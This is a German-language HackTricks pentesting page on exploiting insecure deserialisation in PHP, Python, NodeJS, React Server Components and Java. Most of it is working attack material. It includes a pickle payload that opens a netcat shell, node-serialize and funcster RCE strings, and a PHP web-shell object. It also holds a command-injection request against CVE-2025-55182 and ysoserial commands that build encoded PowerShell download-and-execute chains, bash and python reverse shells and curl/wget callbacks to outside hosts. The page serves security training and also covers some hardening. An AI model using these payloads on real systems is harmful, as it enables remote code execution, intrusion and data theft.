Deserialisierung

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Serialisierung wird als Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert oder im Rahmen einer Kommunikation übertragen werden kann. Diese Technik wird häufig verwendet, um sicherzustellen, dass das Objekt später unter Beibehaltung seiner Struktur und seines Zustands rekonstruiert werden kann.

Deserialisierung ist hingegen der Prozess, der der Serialisierung entgegenwirkt. Dabei werden Daten, die in einem bestimmten Format vorliegen, zurück in ein Objekt umgewandelt.

Deserialisierung kann gefährlich sein, weil sie potenziell Angreifern erlaubt, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder während der Objektrekonstruktion unerwartetes Verhalten in der Anwendung zu verursachen.

PHP

In PHP werden bestimmte Magic Methods während der Serialisierungs- und Deserialisierungsprozesse verwendet:

  • __sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu sichern oder ähnliche Aufräumarbeiten durchzuführen.
  • __wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie dient dazu, eventuell verlorene Datenbankverbindungen wiederherzustellen und andere Reinitialisierungsaufgaben auszuführen.
  • __unserialize: Diese Methode wird anstelle von __wakeup (falls vorhanden) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet im Vergleich zu __wakeup mehr Kontrolle über den Deserialisierungsprozess.
  • __destruct: Diese Methode wird aufgerufen, wenn ein Objekt zerstört wird oder das Skript endet. Sie wird typischerweise für Aufräumaufgaben wie das Schließen von Dateihandles oder Datenbankverbindungen verwendet.
  • __toString: Diese Methode erlaubt, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben auszuführen, die auf den inneren Funktionsaufrufen basieren, und liefert so eine textuelle Darstellung des Objekts.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying to print some attribute, but apparently that’s not happening anymore.

Warning

Die Methode __unserialize(array $data) wird anstelle von __wakeup() aufgerufen, wenn sie in der Klasse implementiert ist. Sie erlaubt es, das Objekt zu unserialisieren, indem die serialisierten Daten als Array übergeben werden. Du kannst diese Methode nutzen, um Eigenschaften zu unserialisieren und beim Deserialisieren notwendige Aufgaben auszuführen.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Preventing PHP Object Injection with allowed_classes

[!INFO] Die Unterstützung für das zweite Argument von unserialize() (das $options-Array) wurde in PHP 7.0 hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, wodurch es unmöglich ist, einzuschränken, welche Klassen instanziiert werden dürfen.

unserialize() wird jede Klasse instanziieren, die es im serialisierten Stream findet, sofern nicht anders angegeben. Seit PHP 7 kann das Verhalten mit der allowed_classes option eingeschränkt werden:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Wenn allowed_classes weggelassen wird oder der Code auf PHP < 7.0 läuft, wird der Aufruf gefährlich, da ein Angreifer eine Payload erstellen kann, die magische Methoden wie __wakeup() oder __destruct() ausnutzt, um Remote Code Execution (RCE) zu erreichen.

Reales Beispiel: Everest Forms (WordPress) CVE-2025-52709

Das WordPress-Plugin Everest Forms ≤ 3.2.2 versuchte sich mit einem Helper-Wrapper abzusichern, vergaß dabei jedoch ältere PHP-Versionen:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Auf Servern, die noch PHP ≤ 7.0 verwendeten, führte dieser zweite Zweig zu einer klassischen PHP Object Injection, sobald ein Administrator eine bösartige Formularübermittlung öffnete. Ein minimales exploit payload könnte wie folgt aussehen:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Sobald der Admin den Eintrag betrachtete, wurde das Objekt instanziiert und SomeClass::__destruct() ausgeführt, was zu beliebiger Codeausführung führte.

Kernaussagen

  1. Gib beim Aufruf von unserialize() immer ['allowed_classes' => false] (oder eine strenge Whitelist) mit.
  2. Überprüfe defensive Wrapper – sie vergessen häufig ältere PHP-Zweige.
  3. Ein Upgrade auf PHP ≥ 7.x allein ist nicht ausreichend: die Option muss trotzdem explizit gesetzt werden.

PHPGGC (ysoserial for PHP)

PHPGGC kann dir beim Generieren von Payloads helfen, um PHP deserializations auszunutzen.
Beachte, dass du in mehreren Fällen keinen Weg finden wirst, eine deserialization im Quellcode der Anwendung auszunutzen, aber möglicherweise den Code externer PHP-Erweiterungen ausnutzen kannst.
Wenn möglich, überprüfe das phpinfo() des Servers und suche im Internet (sogar in den gadgets von PHPGGC) nach möglichen Gadgets, die du ausnutzen könntest.

phar:// Metadaten deserialization

Wenn du eine LFI gefunden hast, die die Datei nur liest und den PHP-Code darin nicht ausführt, z. B. mit Funktionen wie file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**, kannst du versuchen, eine deserialization auszunutzen, die beim Lesen einer Datei über das phar-Protokoll auftritt.
Für mehr Informationen lies den folgenden Beitrag:

phar:// deserialization

Python

Pickle

Wenn das Objekt unpickled wird, wird die Funktion reduce ausgeführt.
Bei Ausnutzung könnte der Server einen Fehler zurückgeben.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Bevor du die Bypass-Technik prüfst, versuche print(base64.b64encode(pickle.dumps(P(),2))) zu verwenden, um ein Objekt zu erzeugen, das mit python2 kompatibel ist, falls du python3 verwendest.

Für weitere Informationen zum Entkommen aus pickle jails siehe:

Bypass Python sandboxes

Yaml & jsonpickle

Die folgende Seite stellt die Technik vor, unsichere Deserialisierung in yamls Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für Pickle, PyYAML, jsonpickle und ruamel.yaml zu erzeugen:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS hat keine “magic” Funktionen wie PHP oder Python, die allein durch das Erzeugen eines Objekts ausgeführt werden. Aber es gibt einige Funktionen, die häufig verwendet werden, selbst wenn sie nicht direkt aufgerufen werden, wie toString, valueOf, toJSON.
Wenn du eine Deserialisierung ausnutzen kannst, kannst du diese Funktionen kompromittieren, um anderen Code auszuführen (potenziell unter Ausnutzung von prototype pollutions) und so beliebigen Code ausführen, wenn sie aufgerufen werden.

Eine weitere “magische” Möglichkeit, eine Funktion aufzurufen ohne sie direkt aufzurufen, ist das Kompromittieren eines Objekts, das von einer async function zurückgegeben wird (promise). Denn wenn du das zurückgegebene Objekt in eine andere promise mit einer Property namens “then” vom Typ function verwandelst, wird diese ausgeführt, nur weil sie von einer anderen promise zurückgegeben wurde. Folge diesem Link für mehr Infos.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Wenn du diese Technik lernen möchtest, sieh dir das folgende Tutorial an:

NodeJS - proto & prototype Pollution

node-serialize

Diese Bibliothek ermöglicht das Serialisieren von Funktionen. Beispiel:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Das serialisierte Objekt sieht wie folgt aus:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Du kannst im Beispiel sehen, dass beim Serialisieren einer Funktion die _$$ND_FUNC$$_-Markierung an das serialisierte Objekt angehängt wird.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Wie du im letzten Codeabschnitt sehen kannst, wenn die Markierung gefunden wird eval verwendet wird, um die Funktion zu deserialisieren, also im Grunde wird Benutzereingabe innerhalb der eval-Funktion verwendet.

Allerdings wird durch alleiniges Serialisieren einer Funktion nicht diese ausgeführt, da irgendein Teil des Codes in unserem Beispiel y.rce aufrufen müsste — und das ist höchst unwahrscheinlich.
Du kannst aber einfach das serialisierte Objekt modifizieren, indem du einige Klammern hinzufügst, damit die serialisierte Funktion beim Deserialisieren automatisch ausgeführt wird.
Achte im nächsten Codeabschnitt auf die letzte Klammer und darauf, wie die unserialize-Funktion den Code automatisch ausführt:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Wie bereits erwähnt, holt diese Bibliothek den Code nach _$$ND_FUNC$$_ und wird ihn mit eval ausführen. Daher kannst du, um auto-execute code, den Teil zur function creation und die letzte Klammer löschen und einfach einen JS oneliner ausführen, wie im folgenden Beispiel:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Sie können find here weitere Informationen darüber finden, wie diese Schwachstelle ausgenutzt werden kann.

funcster

Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit der eingebauten Standardobjekte; sie liegen außerhalb des zugänglichen Scopes. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf eingebauten Objekten aufzurufen, und führt zu Ausnahmen wie "ReferenceError: console is not defined", wenn Befehle wie console.log() oder require(something) verwendet werden.

Trotz dieser Einschränkung ist es möglich, den vollständigen Zugriff auf den globalen Kontext, einschließlich aller eingebauten Standardobjekte, durch eine bestimmte Vorgehensweise wiederherzustellen. Indem man direkt auf den globalen Kontext zugreift, kann diese Einschränkung umgangen werden. Zum Beispiel kann der Zugriff mit folgendem Snippet wiederhergestellt werden:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Für Weitere Informationen lesen Sie diese Quelle.

serialize-javascript

Das serialize-javascript-Paket ist ausschließlich für serialization ausgelegt und verfügt über keine eingebauten deserialization-Funktionen. Nutzer sind dafür verantwortlich, eine eigene Methode zur deserialization zu implementieren. Im offiziellen Beispiel wird für die deserialization von serialized Daten direkt die Verwendung von eval vorgeschlagen:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Wenn diese Funktion verwendet wird, um objects zu deserialize, können Sie sie easily exploit it:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

For more information read this source.

Cryo library

In den folgenden Seiten finden Sie Informationen darüber, wie man diese Bibliothek missbrauchen kann, um beliebige Befehle auszuführen:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) verlassen sich auf react-server-dom-webpack (RSDW), um Server-Action-Submissions zu dekodieren, die als multipart/form-data gesendet werden. Jede Action-Einsendung enthält:

  • $ACTION_REF_<n> Teile, die auf die aufgerufene Action verweisen.
  • $ACTION_<n>:<m> Teile, deren Body JSON ist, zum Beispiel {"id":"module-path#export","bound":[arg0,arg1,...]}.

In Version 19.2.0 vertraut der Helper decodeAction(formData, serverManifest) blind sowohl dem id string (der auswählt, welchen module export aufzurufen) als auch dem bound array (den Argumenten). Wenn ein Angreifer den Endpoint erreichen kann, der Anfragen an decodeAction weiterleitet, kann er jede exportierte Server-Action mit vom Angreifer kontrollierten Parametern aufrufen, selbst ohne ein React-Frontend (CVE-2025-55182). Die End-to-End-Anleitung ist:

  1. Learn the action identifier. Bundle output, error traces or leaked manifests typically reveal strings like app/server-actions#generateReport.
  2. Recreate the multipart payload. Erzeuge einen $ACTION_REF_0-Part und einen $ACTION_0:0 JSON-Body, der den Identifier und beliebige Argumente enthält.
  3. Let decodeAction dispatch it. Der Helper löst das Modul aus dem serverManifest, importiert den Export und gibt einen Aufrufbaren zurück, den der Server sofort ausführt.

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Oder mit curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Das bound-Array befüllt direkt die server-action-Parameter. Im verwundbaren Lab sieht das Gadget so aus:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" bewirkt, dass /bin/sh -c den legitimen Reportgenerator und anschließend whoami ausführt, wobei beide Ausgaben innerhalb der JSON-Action-Antwort geliefert werden. Jede server action, die Filesystem-Primitiven, Datenbanktreiber oder andere Interpreter kapselt, kann auf dieselbe Weise missbraucht werden, sobald der Angreifer die bound-Daten kontrolliert.

Ein Angreifer benötigt niemals einen echten React-Client — jedes HTTP-Tool, das die $ACTION_* multipart-Form erzeugt, kann direkt server actions aufrufen und die resultierende JSON-Ausgabe in eine RCE-Primitive ketten.

Java - HTTP

In Java werden Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige payloads konstruieren, welche diese Callbacks auslösen und so potenziell die Ausführung schädlicher Aktionen ermöglichen.

Fingerprints

White Box

Um potenzielle Serialisierungs-Schwachstellen in der Codebasis zu identifizieren, suche nach:

  • Klassen, die das Serializable-Interface implementieren.
  • Verwendung von java.io.ObjectInputStream, Funktionen wie readObject, readUnshare.

Achte besonders auf:

  • XMLDecoder, der mit Parametern verwendet wird, die von externen Benutzern gesetzt werden.
  • Die fromXML-Methode von XStream, insbesondere wenn die XStream-Version <= 1.46 ist, da sie anfällig für Serialisierungs-Probleme ist.
  • ObjectInputStream in Kombination mit der Methode readObject.
  • Implementierungen von Methoden wie readObject, readObjectNodData, readResolve oder readExternal.
  • ObjectInputStream.readUnshared.
  • Allgemeine Verwendung von Serializable.

Black Box

Für Black-Box-Tests sollte man nach spezifischen Signaturen oder “Magic Bytes” suchen, die java-serialisierte Objekte (stammend von ObjectInputStream) kennzeichnen:

  • Hex-Muster: AC ED 00 05.
  • Base64-Muster: rO0.
  • HTTP-Response-Header mit Content-type auf application/x-java-serialized-object.
  • Hex-Muster, das auf vorherige Kompression hinweist: 1F 8B 08 00.
  • Base64-Muster, das auf vorherige Kompression hinweist: H4sIA.
  • Web-Dateien mit der .faces-Erweiterung und dem faces.ViewState-Parameter. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung veranlassen, wie im post about Java JSF ViewState Deserialization beschrieben.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Prüfen, ob verwundbar

Wenn Sie erfahren möchten, wie ein Java Deserialized exploit funktioniert, sollten Sie sich Basic Java Deserialization, Java DNS Deserialization, und CommonsCollection1 Payload ansehen.

SignedObject-gated deserialization and pre-auth reachability

Moderne Codebasen kapseln Deserialization manchmal mit java.security.SignedObject und validieren eine Signatur, bevor getObject() aufgerufen wird (welches das innere Objekt deserialisiert). Das verhindert arbitrary top-level gadget classes, kann aber weiterhin ausnutzbar sein, wenn ein attacker eine gültige Signatur erlangen kann (z. B. private-key compromise oder ein signing oracle). Zusätzlich können error-handling flows session-bound tokens für unauthenticated users erzeugen und dadurch sonst geschützte sinks pre-auth exponieren.

Für eine konkrete Fallstudie mit requests, IoCs und Hardening guidance siehe:

Java Signedobject Gated Deserialization

White Box Test

Sie können prüfen, ob Anwendungen mit bekannten Schwachstellen installiert sind.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Du könntest versuchen, alle bekannten verwundbaren Bibliotheken zu prüfen, für die Ysoserial einen Exploit liefern kann. Oder du könntest die in Java-Deserialization-Cheat-Sheet aufgeführten Bibliotheken prüfen.
Du könntest auch gadgetinspector verwenden, um nach möglichen ausnutzbaren Gadget-Chains zu suchen.
Wenn du gadgetinspector ausführst (nachdem du es gebaut hast), ignoriere die vielen Warnungen/Fehler während der Ausführung und lasse es fertig laufen. Es schreibt alle Funde unter gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Bitte beachte, dass gadgetinspector keinen Exploit erzeugt und False Positives anzeigen kann.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

Du kannst auch Freddy nutzen, um Deserialisierungs-Schwachstellen in Burp zu erkennen. Dieses Plugin findet nicht nur ObjectInputStream-bezogene Schwachstellen, sondern auch Schwachstellen von Json- und Yml-Deserialisierungsbibliotheken. Im aktiven Modus versucht es, diese mittels sleep- oder DNS-Payloads zu bestätigen.
You can find more information about Freddy here.

Serialization Test

Es geht nicht nur darum zu prüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal kannst du die Daten innerhalb des serialisierten Objekts ändern und einige Prüfungen umgehen (vielleicht erhältst du so Admin-Rechte in einer Webapp).
Wenn du ein java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, kannst du SerializationDumper verwenden, um das gesendete serialisierte Objekt in einem menschenlesbareren Format auszugeben. Wenn du weißt, welche Daten du sendest, ist es leichter, sie zu ändern und Prüfungen zu umgehen.

Exploit

ysoserial

Das Haupttool zum Ausnutzen von Java-Deserialisierungen ist ysoserial (download here). Du kannst auch ysoseral-modified in Betracht ziehen, das dir erlaubt, komplexe Befehle zu verwenden (z. B. mit Pipes).
Beachte, dass dieses Tool auf die Ausnutzung von ObjectInputStream fokussiert ist.
Ich würde zuerst das “URLDNS” Payload vor einem RCE-Payload verwenden, um zu testen, ob die Injection möglich ist. Beachte jedoch, dass das “URLDNS” Payload möglicherweise nicht funktioniert, andere RCE-Payloads aber schon.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wenn du eine Payload für java.lang.Runtime.exec() erstellst, kannst du keine Sonderzeichen wie “>” oder “|” verwenden, um die Ausgabe einer Ausführung umzuleiten, “$()” zum Ausführen von Befehlen zu benutzen oder sogar Argumente an einen Befehl zu übergeben, die durch Leerzeichen getrennt sind (du kannst echo -n "hello world" verwenden, aber nicht python2 -c 'print "Hello world"'). Um die Payload korrekt zu encodieren, kannst du use this webpage verwenden.

Du kannst gerne das nächste script verwenden, um all the possible code execution payloads für Windows und Linux zu erstellen und sie dann auf der verwundbaren Webseite zu testen:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Du kannst verwenden https://github.com/pwntester/SerialKillerBypassGadgetCollection zusammen mit ysoserial nutzen, um weitere Exploits zu erstellen. Mehr Informationen zu diesem Tool in den Folien des Vortrags, in dem das Tool präsentiert wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kann verwendet werden, um payloads zu generieren, um verschiedene Json und Yml Serialisierungsbibliotheken in Java auszunutzen.
Um das Projekt zu kompilieren, musste ich diese Abhängigkeiten zu pom.xml hinzufügen:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installiere maven, und kompiliere das Projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Weitere Informationen zu dieser Java JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labore

Warum

Java verwendet häufig Serialisierung für verschiedene Zwecke, z. B.:

  • HTTP requests: Serialisierung wird häufig zur Verwaltung von Parametern, ViewState, Cookies usw. eingesetzt.
  • RMI (Remote Method Invocation): Das Java-RMI-Protokoll, das vollständig auf Serialisierung basiert, ist ein Eckpfeiler der Remote-Kommunikation in Java-Anwendungen.
  • RMI over HTTP: Diese Methode wird häufig von Java-basierten Thick-Client-Webanwendungen verwendet und nutzt Serialisierung für alle Objektkommunikationen.
  • JMX (Java Management Extensions): JMX nutzt Serialisierung, um Objekte über das Netzwerk zu übertragen.
  • Custom Protocols: In Java ist gängige Praxis die Übertragung roher Java-Objekte, was in den kommenden Exploit-Beispielen demonstriert wird.

Prävention

Transient objects

